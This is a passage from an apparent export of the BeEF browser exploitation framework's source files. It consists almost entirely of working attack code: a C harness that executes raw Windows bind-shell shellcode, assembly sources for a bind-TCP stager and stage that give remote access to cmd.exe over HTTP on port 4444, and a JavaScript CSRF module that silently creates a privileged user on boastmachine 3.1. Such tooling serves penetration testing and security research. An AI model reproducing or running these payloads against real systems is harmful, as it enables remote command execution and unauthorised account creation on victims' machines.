\"\\xFC\\xE8\\x89\\x00\\x00\\x00\\x60\\x89\\xE5\\x31\\xD2\\x64\\x8B\\x52\\x30\\x8B\\x52\\x0C\\x8B\\x52\\x14\\x8B\\x72\\x28\\x0F\\xB7\\x4A\\x26\\x31\\xFF\\x31\\xC0\\xAC\\x3C\\x61\\x7C\\x02\\x2C\\x20\\xC1\\xCF\\x0D\\x01\\xC7\\xE2\\xF0\\x52\\x57\\x8B\\x52\\x10\\x8B\\x42\\x3C\\x01\\xD0\\x8B\\x40\\x78\\x85\\xC0\\x74\\x4A\\x01\\xD0\\x50\\x8B\\x48\\x18\\x8B\\x58\\x20\\x01\\xD3\\xE3\\x3C\\x49\\x8B\\x34\\x8B\\x01\\xD6\\x31\\xFF\\x31\\xC0\\xAC\\xC1\\xCF\\x0D\\x01\\xC7\\x38\\xE0\\x75\\xF4\\x03\\x7D\\xF8\\x3B\\x7D\\x24\\x75\\xE2\\x58\\x8B\\x58\\x24\\x01\\xD3\\x66\\x8B\\x0C\\x4B\\x8B\\x58\\x1C\\x01\\xD3\\x8B\\x04\\x8B\\x01\\xD0\\x89\\x44\\x24\\x24\\x5B\\x5B\\x61\\x59\\x5A\\x51\\xFF\\xE0\\x58\\x5F\\x5A\\x8B\\x12\\xEB\\x86\\x5D\\x68\\x33\\x32\\x00\\x00\\x68\\x77\\x73\\x32\\x5F\\x54\\x68\\x4C\\x77\\x26\\x07\\xFF\\xD5\\xB8\\x90\\x01\\x00\\x00\\x29\\xC4\\x54\\x50\\x68\\x29\\x80\\x6B\\x00\\xFF\\xD5\\x50\\x50\\x50\\x50\\x40\\x50\\x40\\x50\\x68\\xEA\\x0F\\xDF\\xE0\\xFF\\xD5\\x97\\x31\\xDB\\x53\\x68\\x02\\x00\\x11\\x5C\\x89\\xE6\\x6A\\x10\\x56\\x57\\x68\\xC2\\xDB\\x37\\x67\\xFF\\xD5\\x53\\x57\\x68\\xB7\\xE9\\x38\\xFF\\xFF\\xD5\\x53\\x53\\x57\\x68\\x74\\xEC\\x3B\\xE1\\xFF\\xD5\\x57\\x97\\x68\\x75\\x6E\\x4D\\x61\\xFF\\xD5\\xBB\\x00\\x10\\x00\\x00\\x6A\\x40\\x53\\x53\\x6A\\x00\\x68\\x58\\xA4\\x53\\xE5\\xFF\\xD5\\x89\\xC6\\x6A\\x00\\x53\\x50\\x57\\x68\\x02\\xD9\\xC8\\x5F\\xFF\\xD5\\x57\\x68\\xC6\\x96\\x87\\x52\\xFF\\xD5\\x81\\x3E\\x63\\x6D\\x64\\x3D\\x74\\x03\\x46\\xEB\\xF5\\x83\\xC6\\x04\\xFF\\xE6\";\r\n\r\nint main(int argc, char **argv)\r\n{\r\nif (argc == 2){\r\n  int port;\r\n  port = atoi(argv[1]);\r\n  if (port <= 0xFFFF){\r\n    code[200] = ((port & 0xFF00) >> 8) & 0xFF;\r\n    code[201] = ((port & 0xFF));\r\n  }\t\r\n}\r\n\r\nint (*func)();\r\nfunc = (int (*)()) code;\r\n(int)(*func)();\r\n return 0;\r\n}\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_api.asm",
    "content": ";-----------------------------------------------------------------------------;\n; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (24 July 2009)\n; Size: 137 bytes\n;-----------------------------------------------------------------------------;\n\n[BITS 32]\n\n; Input: The hash of the API to call and all its parameters must be pushed onto stack.\n; Output: The return value from the API call will be in EAX.\n; Clobbers: EAX, ECX and EDX (ala the normal stdcall calling convention)\n; Un-Clobbered: EBX, ESI, EDI, ESP and EBP can be expected to remain un-clobbered.\n; Note: This function assumes the direction flag has allready been cleared via a CLD instruction.\n; Note: This function is unable to call forwarded exports.\n\napi_call:\n  pushad                 ; We preserve all the registers for the caller, bar EAX and ECX.\n  mov ebp, esp           ; Create a new stack frame\n  xor edx, edx           ; Zero EDX\n  mov edx, [fs:edx+48]   ; Get a pointer to the PEB\n  mov edx, [edx+12]      ; Get PEB->Ldr\n  mov edx, [edx+20]      ; Get the first module from the InMemoryOrder module list\nnext_mod:                ;\n  mov esi, [edx+40]      ; Get pointer to modules name (unicode string)\n  movzx ecx, word [edx+38] ; Set ECX to the length we want to check \n  xor edi, edi           ; Clear EDI which will store the hash of the module name\nloop_modname:            ;\n  xor eax, eax           ; Clear EAX\n  lodsb                  ; Read in the next byte of the name\n  cmp al, 'a'            ; Some versions of Windows use lower case module names\n  jl not_lowercase       ;\n  sub al, 0x20           ; If so normalise to uppercase\nnot_lowercase:           ;\n  ror edi, 13            ; Rotate right our hash value\n  add edi, eax           ; Add the next byte of the name\n  loop loop_modname      ; Loop untill we have read enough\n  ; We now have the module hash computed\n  push edx               ; Save the current position in the module list for later\n  push edi               ; Save the current module hash for later\n  ; Proceed to itterate the export address table, \n  mov edx, [edx+16]      ; Get this modules base address\n  mov eax, [edx+60]      ; Get PE header\n  add eax, edx           ; Add the modules base address\n  mov eax, [eax+120]     ; Get export tables RVA\n  test eax, eax          ; Test if no export address table is present\n  jz get_next_mod1       ; If no EAT present, process the next module\n  add eax, edx           ; Add the modules base address\n  push eax               ; Save the current modules EAT\n  mov ecx, [eax+24]      ; Get the number of function names  \n  mov ebx, [eax+32]      ; Get the rva of the function names\n  add ebx, edx           ; Add the modules base address\n  ; Computing the module hash + function hash\nget_next_func:           ;\n  jecxz get_next_mod     ; When we reach the start of the EAT (we search backwards), process the next module\n  dec ecx                ; Decrement the function name counter\n  mov esi, [ebx+ecx*4]   ; Get rva of next module name\n  add esi, edx           ; Add the modules base address\n  xor edi, edi           ; Clear EDI which will store the hash of the function name\n  ; And compare it to the one we want\nloop_funcname:           ;\n  xor eax, eax           ; Clear EAX\n  lodsb                  ; Read in the next byte of the ASCII function name\n  ror edi, 13            ; Rotate right our hash value\n  add edi, eax           ; Add the next byte of the name\n  cmp al, ah             ; Compare AL (the next byte from the name) to AH (null)\n  jne loop_funcname      ; If we have not reached the null terminator, continue\n  add edi, [ebp-8]       ; Add the current module hash to the function hash\n  cmp edi, [ebp+36]      ; Compare the hash to the one we are searchnig for \n  jnz get_next_func      ; Go compute the next function hash if we have not found it\n  ; If found, fix up stack, call the function and then value else compute the next one...\n  pop eax                ; Restore the current modules EAT\n  mov ebx, [eax+36]      ; Get the ordinal table rva      \n  add ebx, edx           ; Add the modules base address\n  mov cx, [ebx+2*ecx]    ; Get the desired functions ordinal\n  mov ebx, [eax+28]      ; Get the function addresses table rva  \n  add ebx, edx           ; Add the modules base address\n  mov eax, [ebx+4*ecx]   ; Get the desired functions RVA\n  add eax, edx           ; Add the modules base address to get the functions actual VA\n  ; We now fix up the stack and perform the call to the desired function...\nfinish:\n  mov [esp+36], eax      ; Overwrite the old EAX value with the desired api address for the upcoming popad\n  pop ebx                ; Clear off the current modules hash\n  pop ebx                ; Clear off the current position in the module list\n  popad                  ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered\n  pop ecx                ; Pop off the origional return address our caller will have pushed\n  pop edx                ; Pop off the hash value our caller will have pushed\n  push ecx               ; Push back the correct return value\n  jmp eax                ; Jump into the required function\n  ; We now automagically return to the correct caller...\nget_next_mod:            ;\n  pop eax                ; Pop off the current (now the previous) modules EAT\nget_next_mod1:           ;\n  pop edi                ; Pop off the current (now the previous) modules hash\n  pop edx                ; Restore our position in the module list\n  mov edx, [edx]         ; Get the next module\n  jmp short next_mod     ; Process this module"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stage.asm",
    "content": ";-----------------------------------------------------------------------------;\n; Author: Ty Miller @ Threat Intelligence\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (2nd December 2011)\n;-----------------------------------------------------------------------------;\n[BITS 32]\n\n;INPUT: EBP is block_api.\n\n%include \"src/block_virtualalloc.asm\"\n\t\t\t ; Input: None\n\t\t\t ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000\n\t\t\t ; Clobbers: EAX, EBX, ECX, EDX\n\n  mov esi, eax\t\t ; point esi to start of buffer, used as pseudo-frame pointer\n\n%include \"src/block_pipes.asm\"\n\t\t\t ; Create pipes to redirect stage stdin, stdout, stderr\n\t\t\t ; Input: EBP is api_call\n\t\t\t ; Output:\n\t\t\t ;       esp+00  child stdin  read  file descriptor (inherited)\n\t\t\t ;       esp+04  child stdin  write file descriptor (not inherited)\n\t\t\t ;       esp+08  child stdout read  file descriptor (not inherited)\n\t\t\t ;       esp+12  child stdout write file descriptor (inherited)\n\t\t\t ;       esp+16  lpPipeAttributes structure (not used after block - 12 bytes)\n\t\t\t ; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes\n\n  mov edi,esi\t\t ; save esi since it gets clobbered\n\n%include \"src/block_shell_pipes.asm\"\n\t\t\t ; Create process with redirected stdin, stdout, stderr to our pipes\n\t\t\t ; Input:\n\t\t\t ;       EBP is api_call\n\t\t\t ;       esp+00  child stdin  read  file descriptor (inherited)\n\t\t\t ;       esp+04  not used\n\t\t\t ;       esp+08  not used\n\t\t\t ;       esp+12  child stdout write file descriptor (inherited)\n\t\t\t ; Output: None.\n\t\t\t ; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified\n\n  mov esi,edi\t\t ; restore esi\n\nReadLoop:\t\t ; Read output from the child process\n\nclear_buffer:\n  mov ecx,0xFF8\t\t ; zero output buffer starting at esi+8 with 0xFF8 nulls\n  lea eax,[esi+8]\t ; point eax to start of command/output buffer\nzero_buffer:            \n  mov byte [eax],0\t ; push a null dword\n  inc eax\t\t ; point to the next byte in the buffer\n  loop zero_buffer\t ; keep looping untill we have zeroed the buffer\n\n\nresponse_headers:\n  push esi\t\t ; save pointer to start of buffer\n  lea edi,[esi+1048]\t ; set pointer to output buffer\n  call get_headers       ; locate the static http response headers\n  db 'HTTP/1.1 200 OK', 0x0d, 0x0a, 'Content-Type: text/html', 0x0d, 0x0a, 'Access-Control-Allow-Origin: *', 0x0d, 0x0a, 'Content-Length: 3016', 0x0d, 0x0a, 0x0d, 0x0a\nget_headers:\n  pop esi\t\t ; get pointer to response headers into esi\n  mov ecx, 98            ; length of http response headers\n  rep movsb              ; move the http headers into the buffer\n  pop esi\t\t ; restore pointer to start of buffer\n\n\nbind_port:\n  push esi\t\t ; save buffer pointer onto stack\n%include \"src/block_bind_tcp.asm\"       ;by here we will have performed the bind_tcp connection to setup our external web socket\n\t\t\t ; Input: EBP must be the address of 'api_call'.\n\t\t\t ; Output: EDI will be the newly connected clients socket\n\t\t\t ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n  add esp, 0x1A0\t ; restore stack pointer\n  pop esi\t\t ; restore buffer pointer\n  mov [esi], edi\t ; save external socket to buffer\n\n\nrecv:                    ; Receive the web request - must be a post request with command ending with a new line character\n  push byte 0            ; flags\n  push 0x400             ; allocated space for command (512 bytes)\n  mov ebx, esi           ; start of our request/response memory buffer\n  add ebx, 8\t\t ; start of our allocated command space\n  push ebx               ; start of our allocated command space\n  push dword [esi]       ; external socket\n  push 0x5FC8D902        ; hash( \"ws2_32.dll\", \"recv\" )\n  call ebp               ; recv( external_socket, buffer, size, 0 );\n\nfind_cmd:  \t\t ; Search for \"cmd=\" in the web request\n  mov edx, [esp+0x64]    ; stage stdin read file descriptor (40)\n  mov ecx, 0x400         ; set ecx to be our buffer counter\nnext:\n  cmp dword [ebx], 0x3d646d63   ; check if ebx points to \"cmd=\"\n  jz cmd_found           ; if we found \"cmd=\" then parse the command\n  inc ebx                ; point ebx to next char in request data\n  dec ecx                ; dec our buffer counter\n  jecxz read_file_check  ; if our counter is 0 then we found no command, so recv more data\n  jmp short next         ; check next location for \"cmd=\"\ncmd_found:               ; now pointing to start of our command - MAY fail if the command is cut off\n  add ebx, 0x03          ; starts off pointing at \"cmd=\" so add 3 (plus  inc eax below) to point to command\n\nnext_cmd_char:\n  inc ebx                ; move our command string pointer up one character\n  push ebx               ; save command pointer to the stack\n\nwrite_file:\n  push 0\t\t ; pOverlapped = NULL\n  lea edi,[esi+1040]\t ; 4 bytes for bytes written\n  push edi\t\t ; pBytesWritten\n  push 1\t\t ; nBytesToWrite\n  push ebx\t\t ; command string in buffer\n  mov ebx,[esp+70h]\t ; Child stdin\n  push ebx\t\t ; child stdin\n  push 0x5BAE572D\t ; hash(kernel32.dll, WriteFile)\n  call ebp\t\t ; WriteFile\n\n  pop ebx                ; restore command pointer from the stack\n  cmp byte [ebx], 0x0a   ; check if we have just sent a new line\n  jnz next_cmd_char      ; if we haven't finished sending the cmd then send the next char, else we want to read the cmd output from internal stage socket\n\n\n%include \"src/block_sleep.asm\"\n\t\t\t ; Input: None\n\t\t\t ; Output: None. Sleeps for x seconds\n\t\t\t ; Clobbers: None\n\nread_file_check:\n  xor eax, eax\t\t ; zero eax\n  push eax\t\t ; lpBytesLeftThisMessage\n  lea ebx,[esi+4]\t ; address to output the result - num bytes available to read\n  push ebx\t\t ; lpTotalBytesAvail\n  push eax\t\t ; lpBytesRead\n  push eax\t\t ; nBufferSize\n  push eax\t\t ; lpBuffer\n  lea ebx,[esp+74h]\t ; child stdout read address\n  mov ebx, [ebx]\t ; child stdout read file descriptor\n  push ebx               ; hNamedPipe\n  push 0xB33CB718\t ; hash(kernel32.dll,PeekNamedPipe)\n  call ebp\t\t ; PeekNamedPipe\n\n  test eax, eax\t\t ; check the function return correctly\n  jz close_handle\t ; no, then close the connection and start again\n  mov eax, [esi+4]\t ; Grab the number of bytes available\n  test eax, eax\t\t ; check for no bytes to read\n  jz close_handle\t ; no, then close the connection and start again\n\nread_file:\n  push 0                 ; pOverlapped = NULL\n  lea edi,[esi+1044]     ; output: number of bytes read\n  push edi               ; pBytesRead\n  push 0xB86             ; BytesToRead: remaining space in our allocated buffer\n  ;lea edi,[esi+1114]     ; start of remaining space in buffer after response headers\n  lea edi,[esi+1146]     ; start of remaining space in buffer after response headers\n  push edi               ; start of remaining space in buffer after response headers\n  lea ebx,[esp+70h]\t ; child stdout read address\n  mov ebx, [ebx]\t ; child stdout read file descriptor\n  push ebx               ; hFile: child stdout address\n  push 0xBB5F9EAD\t ; hash(kernel32.dll,ReadFile)\n  call ebp               ; ReadFile\n\n\nsend_output:             ; send buffer to the external socket\n  push byte 0            ; flags\n  push 0xBE8             ; len\n  lea edi,[esi+1048]     ; start of output buffer\n  push edi               ; pointer to buffer\n  push dword [esi]       ; external socket\n  push 0x5F38EBC2        ; hash ( \"ws2_32.dll\", \"send\" )\n  call ebp               ; send(external_socket, *buf, len, flags);\n\n\nclose_handle:\n  push dword [esi]\t ; hObject: external socket\n  push 0x528796C6\t ; hash(kernel32.dll,CloseHandle)\n  call ebp\t\t ; CloseHandle\n\n  jmp ReadLoop\n\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_beef_bind-stager.asm",
    "content": ";-----------------------------------------------------------------------------;\n; Author: Ty Miller @ Threat Intelligence\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\n; Version: 1.0 (2nd December 2011)\n;-----------------------------------------------------------------------------;\n[BITS 32]\n\n;INPUT: EBP is block_api.\n\n%include \"src/block_bind_tcp.asm\"       ;by here we will have performed the bind_tcp connection to setup our external web socket\n\t\t\t ; Input: EBP must be the address of 'api_call'.\n\t\t\t ; Output: EDI will be the newly connected clients socket\n\t\t\t ; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)\n\n%include \"src/block_virtualalloc.asm\"\n\t\t\t ; Input: None\n\t\t\t ; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX has value 0x1000\n\t\t\t ; Clobbers: EAX, EBX, ECX, EDX\n\n  mov esi, eax\t\t ; save pointer to buffer since eax gets clobbered\n\nrecv:                    ; Receive the web request containing the stage\n  push byte 0\t\t ; flags\n  push ebx\t\t ; allocated space for stage\n  push eax\t\t ; start of our allocated command space\n  push edi\t\t ; external socket\n  push 0x5FC8D902        ; hash( \"ws2_32.dll\", \"recv\" )\n  call ebp               ; recv( external_socket, buffer, size, 0 );\n\n\nclose_handle:\n  push edi\t\t ; hObject: external socket\n  push 0x528796C6\t ; hash(kernel32.dll,CloseHandle)\n  call ebp\t\t ; CloseHandle\n\nfind_cmd:\t\t ; Search for \"cmd=\" in the web request for our payload\n  cmp dword [esi], 0x3d646d63   ; check if ebx points to \"cmd=\"\n  jz cmd_found           ; if we found \"cmd=\" then parse the command\n  inc esi                ; point ebx to next char in request data\n  jmp short find_cmd     ; check next location for \"cmd=\"\ncmd_found:               ; now pointing to start of our command - MAY fail if the command is cut off\n;  add esi,4              ; starts off pointing at \"cmd=\" so add 3 (plus  inc eax below) to point to command ... this compiles to 6 byte opcode\n  db 0x83, 0xC6, 0x04\t ; add esi,4 ... but only 3 byte opcode\n\n  jmp esi\t\t ; jump to our stage payload\n\n\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_bind_tcp.asm",
    "content": ";-----------------------------------------------------------------------------;\r\n; Author: Stephen Fewer (stephen_fewer@harmonysecurity.com)\r\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\r\n; Version: 1.0 (24 July 2009)\r\n;-----------------------------------------------------------------------------;\r\n[BITS 32]\r\n\r\n; Input: EBP must be the address of 'api_call'.\r\n; Output: EDI will be the newly connected clients socket\r\n; Clobbers: EAX, EBX, ESI, EDI, ESP will also be modified (-0x1A0)\r\n\r\nbind_tcp:\r\n  push 0x00003233        ; Push the bytes 'ws2_32',0,0 onto the stack.\r\n  push 0x5F327377        ; ...\r\n  push esp               ; Push a pointer to the \"ws2_32\" string on the stack.\r\n  push 0x0726774C        ; hash( \"kernel32.dll\", \"LoadLibraryA\" )\r\n  call ebp               ; LoadLibraryA( \"ws2_32\" )\r\n  \r\n  mov eax, 0x0190        ; EAX = sizeof( struct WSAData )\r\n  sub esp, eax           ; alloc some space for the WSAData structure\r\n  push esp               ; push a pointer to this stuct\r\n  push eax               ; push the wVersionRequested parameter\r\n  push 0x006B8029        ; hash( \"ws2_32.dll\", \"WSAStartup\" )\r\n  call ebp               ; WSAStartup( 0x0190, &WSAData );\r\n  \r\n  push eax               ; if we succeed, eax wil be zero, push zero for the flags param.\r\n  push eax               ; push null for reserved parameter\r\n  push eax               ; we do not specify a WSAPROTOCOL_INFO structure\r\n  push eax               ; we do not specify a protocol\r\n  inc eax                ;\r\n  push eax               ; push SOCK_STREAM\r\n  inc eax                ;\r\n  push eax               ; push AF_INET\r\n  push 0xE0DF0FEA        ; hash( \"ws2_32.dll\", \"WSASocketA\" )\r\n  call ebp               ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );\r\n  xchg edi, eax          ; save the socket for later, don't care about the value of eax after this\r\n  \r\n  xor ebx, ebx           ; Clear EBX\r\n  push ebx               ; bind to 0.0.0.0\r\n  push 0x5C110002        ; family AF_INET and port 4444\r\n  mov esi, esp           ; save a pointer to sockaddr_in struct\r\n  push byte 16           ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)\r\n  push esi               ; pointer to the sockaddr_in struct\r\n  push edi               ; socket\r\n  push 0x6737DBC2        ; hash( \"ws2_32.dll\", \"bind\" )\r\n  call ebp               ; bind( s, &sockaddr_in, 16 );\r\n\r\n  push ebx               ; backlog\r\n  push edi               ; socket\r\n  push 0xFF38E9B7        ; hash( \"ws2_32.dll\", \"listen\" )\r\n  call ebp               ; listen( s, 0 );\r\n\r\n  push ebx               ; we set length for the sockaddr struct to zero\r\n  push ebx               ; we dont set the optional sockaddr param\r\n  push edi               ; listening socket\r\n  push 0xE13BEC74        ; hash( \"ws2_32.dll\", \"accept\" )\r\n  call ebp               ; accept( s, 0, 0 );\r\n  \r\n  push edi               ; push the listening socket to close\r\n  xchg edi, eax          ; replace the listening socket with the new connected socket for further comms\r\n  push 0x614D6E75        ; hash( \"ws2_32.dll\", \"closesocket\" )\r\n  call ebp               ; closesocket( s );\r\n  \r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_pipes.asm",
    "content": ";-----------------------------------------------------------------------------;\r\n; Author: Ty Miller @ Threat Intelligence\r\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\r\n; Version: 1.0 (2nd December 2011)\r\n;-----------------------------------------------------------------------------;\r\n[BITS 32]\r\n\r\n; Input: EBP is api_call\r\n; Output:\r\n;       esp+00\tchild stdin  read  file descriptor (inherited)\r\n;       esp+04\tchild stdin  write file descriptor (not inherited)\r\n;       esp+08\tchild stdout read  file descriptor (not inherited)\r\n;       esp+12\tchild stdout write file descriptor (inherited)\r\n;       esp+16\tlpPipeAttributes structure (not used after block - 12 bytes)\r\n; Clobbers: EAX, EBX, ECX, EDI, ESP will decrement by 28 bytes\r\n\r\n  push 1\t\t ; create lpPipeAtrributes structure on stack so pipe handles are inherited\r\n  push 0\r\n  push 0x0C\r\n\r\ncreate_pipe_stdout:\r\n  push 0\t\t ; allocate space on stack for child stdout file descriptor\r\n  mov ebx, esp\t\t ; save location of where the child stdout Write file descriptor will be\r\n  push 0\t\t ; allocate space on stack for child stdout file descriptor\r\n  mov ecx, esp\t\t ; save location of where the child stdout Read file descriptor will be\r\n\r\n  push 0                 ; nSize\r\n  lea edi,[esp+12]\t ; lpPipeAttributes - inherited\r\n  push edi\r\n  push ebx               ; stdout write file descriptor\r\n  push ecx               ; stdout read file descriptor\r\n  push 0x0EAFCF3E        ; hash ( \"kernel.dll\", \"CreatePipe\" )\r\n  call ebp               ; CreatePipe( Read, Write, 0, 0 )\r\n\r\ncreate_pipe_stdin:\r\n  push 0\t\t; allocate space on stack for child stdout file descriptor\r\n  mov ebx, esp\t\t; save location of where the child stdout Write file descriptor will be\r\n  push 0\t\t; allocate space on stack for child stdout file descriptor\r\n  mov ecx, esp\t\t; save location of where the child stdout Read file descriptor will be\r\n\r\n  push 0                 ; nSize\r\n  lea edi,[esp+20]\t ; lpPipeAttributes - inherited\r\n  push edi\r\n  push ebx               ; stdout write file descriptor\r\n  push ecx               ; stdout read file descriptor\r\n  push 0x0EAFCF3E        ; hash ( \"kernel.dll\", \"CreatePipe\" )\r\n  call ebp               ; CreatePipe( Read, Write, 0, 0 )\r\n\r\nno_inherit_read_handle:\t ; ensure read and write handles to child proc pipes for are not inherited\r\n  mov ebx,[esp+8] \r\n  push 0\r\n  push 1\r\n  push ebx\t\t ; hChildStdoutRd is the address we set in the CreatePipe call\r\n  push 0x1CD313CA\t ; hash(kernel32.dll, SetHandleInformation)\r\n  call ebp\t\t ; SetHandleInformation\r\n\r\nno_inherit_write_handle:\r\n  mov ebx,[esp+4]\r\n  push 0\r\n  push 1\r\n  push ebx\t\t ; hChildStdinRw is the address we set in the CreatePipe call\r\n  push 0x1CD313CA\t ; hash(kernel32.dll, SetHandleInformation)\r\n  call ebp\t \t ; SetHandleInformation\r\n\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_shell_pipes.asm",
    "content": ";-----------------------------------------------------------------------------;\r\n; Author: Ty Miller @ Threat Intelligence\r\n; Credits: Some code borrowed from block_shell.asm; Stephen Fewer\r\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\r\n; Version: 1.0 (2nd December 2011)\r\n;-----------------------------------------------------------------------------;\r\n[BITS 32]\r\n\r\n; Input:\r\n;\tEBP is api_call\r\n;       esp+00  child stdin  read  file descriptor (inherited)\r\n;       esp+04  not used\r\n;       esp+08  not used\r\n;       esp+12  child stdout write file descriptor (inherited)\r\n; Output: None.\r\n; Clobbers: EAX, EBX, ECX, EDX, ESI, ESP will also be modified\r\n\r\nshell:\r\n  push 0x00646D63        ; push our command line: 'cmd',0\r\n  mov ebx, esp           ; save a pointer to the command line\r\n  push dword [esp+16]\t ; child stdout write file descriptor for process stderr\r\n  push dword [esp+20]\t ; child stdout write file descriptor for process stdout\r\n  push dword [esp+12]\t ; child stdin read file descriptor for process stdout\r\n  xor esi, esi           ; Clear ESI for all the NULL's we need to push\r\n  push byte 18           ; We want to place (18 * 4) = 72 null bytes onto the stack\r\n  pop ecx                ; Set ECX for the loop\r\npush_loop:               ;\r\n  push esi               ; push a null dword\r\n  loop push_loop         ; keep looping until we have pushed enough nulls\r\n  mov word [esp + 60], 0x0101 ; Set the STARTUPINFO Structure's dwFlags to STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW\r\n  lea eax, [esp + 16]    ; Set EAX as a pointer to our STARTUPINFO Structure\r\n  mov byte [eax], 68     ; Set the size of the STARTUPINFO Structure\r\n  ; perform the call to CreateProcessA\r\n  push esp               ; Push the pointer to the PROCESS_INFORMATION Structure \r\n  push eax               ; Push the pointer to the STARTUPINFO Structure\r\n  push esi               ; The lpCurrentDirectory is NULL so the new process will have the same current directory as its parent\r\n  push esi               ; The lpEnvironment is NULL so the new process will have the same environment as its parent\r\n  push esi               ; We don't specify any dwCreationFlags \r\n  inc esi                ; Increment ESI to be one\r\n  push esi               ; Set bInheritHandles to TRUE in order to inheritable all possible handle from the parent\r\n  dec esi                ; Decrement ESI back down to zero\r\n  push esi               ; Set lpThreadAttributes to NULL\r\n  push esi               ; Set lpProcessAttributes to NULL\r\n  push ebx               ; Set the lpCommandLine to point to \"cmd\",0\r\n  push esi               ; Set lpApplicationName to NULL as we are using the command line param instead\r\n  push 0x863FCC79        ; hash( \"kernel32.dll\", \"CreateProcessA\" )\r\n  call ebp               ; CreateProcessA( 0, &\"cmd\", 0, 0, TRUE, 0, 0, 0, &si, &pi );\r\n  ; perform the call to WaitForSingleObject\r\n;  mov eax, esp           ; save pointer to the PROCESS_INFORMATION Structure\r\n;  dec esi                ; Decrement ESI down to -1 (INFINITE)\r\n;  push esi               ; push INFINITE inorder to wait forever\r\n;  inc esi                ; Increment ESI back to zero\r\n;  push dword [eax]       ; push the handle from our PROCESS_INFORMATION.hProcess\r\n;  push 0x601D8708        ; hash( \"kernel32.dll\", \"WaitForSingleObject\" )\r\n;  call ebp               ; WaitForSingleObject( pi.hProcess, INFINITE );\r\n\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_sleep.asm",
    "content": ";-----------------------------------------------------------------------------;\r\n; Author: Ty Miller @ Threat Intelligence\r\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\r\n; Version: 1.0 (2nd December 2011)\r\n;-----------------------------------------------------------------------------;\r\n[BITS 32]\r\n\r\n; Input: None\r\n; Output: None. Sleeps for specified seconds.\r\n; Clobbers: None\r\n\r\n  push 1000                       ; milliseconds\r\n  push 0xE035F044                 ; hash (kernel32.dll, Sleep)\r\n  call ebp                        ; Sleep(1000ms)\r\n\r\n"
  },
  {
    "path": "modules/exploits/beefbind/shellcode_sources/windows/src/block_virtualalloc.asm",
    "content": ";-----------------------------------------------------------------------------;\r\n; Author: Ty Miller @ Threat Intelligence\r\n; Compatible: Windows 7, 2008, Vista, 2003, XP, 2000, NT4\r\n; Version: 1.0 (2nd December 2011)\r\n;-----------------------------------------------------------------------------;\r\n[BITS 32]\r\n\r\n; Input: None\r\n; Output: EAX holds pointer to the start of buffer 0x1000 bytes, EBX holds value 0x1000\r\n; Clobbers: EAX, EBX, ECX, EDX\r\n\r\n  mov ebx,0x1000\t ; setup our flags and buffer size in ebx\r\nallocate_memory:         ; Alloc a buffer for the request and response data\r\n  push byte 0x40         ; PAGE_EXECUTE_READWRITE - don't need execute but may as well\r\n  push ebx               ; MEM_COMMIT\r\n  push ebx               ; size of memory to be allocated (4096 bytes)\r\n  push byte 0            ; NULL as we dont care where the allocation is\r\n  push 0xE553A458        ; hash( \"kernel32.dll\", \"VirtualAlloc\" )\r\n  call ebp               ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );\r\n\r\n"
  },
  {
    "path": "modules/exploits/boastmachine_3_1_add_user_csrf/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\tvar base     = '<%= @base %>'; \n\tvar username = '<%= @username %>';\n\tvar password = '<%= @password %>';\n\tvar email    = '<%= @email %>';\n\n\tvar boastmachine_iframe = beef.dom.createIframeXsrfForm(base, \"POST\", \"application/x-www-form-urlencoded\", [\n\t\t{'type':'hidden', 'name':'action',     'value':'add_user'},\n\t\t{'type':'hidden', 'name':'do',         'value':'add'},\n\t\t{'type':'hidden', 'name':'user_login', 'value':username},\n\t\t{'type':'hidden', 'name':'user_pass',  'value':password},\n\t\t{'type':'hidden', 'name':'user_name',  'value':username},\n\t\t{'type':'hidden', 'name':'user_email', 'value':email},\n\t\t{'type':'hidden', 'name':'blogs[]',    'value':'4'},\n\t\t{'type':'hidden', 'name':'user_level', 'value':'4'},\n\t]);\n\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"result=exploit attempted\");\n\n\tcleanup = function() {\n\t\tdocument.body.removeChild(boastmachine_iframe);\n\t}\n\tsetTimeout(\"cleanup()\", 15000);\n\n});\n\n"
  },
  {
    "path": "modules/exploits/boastmachine_3_1_add_user_csrf/config.yaml",
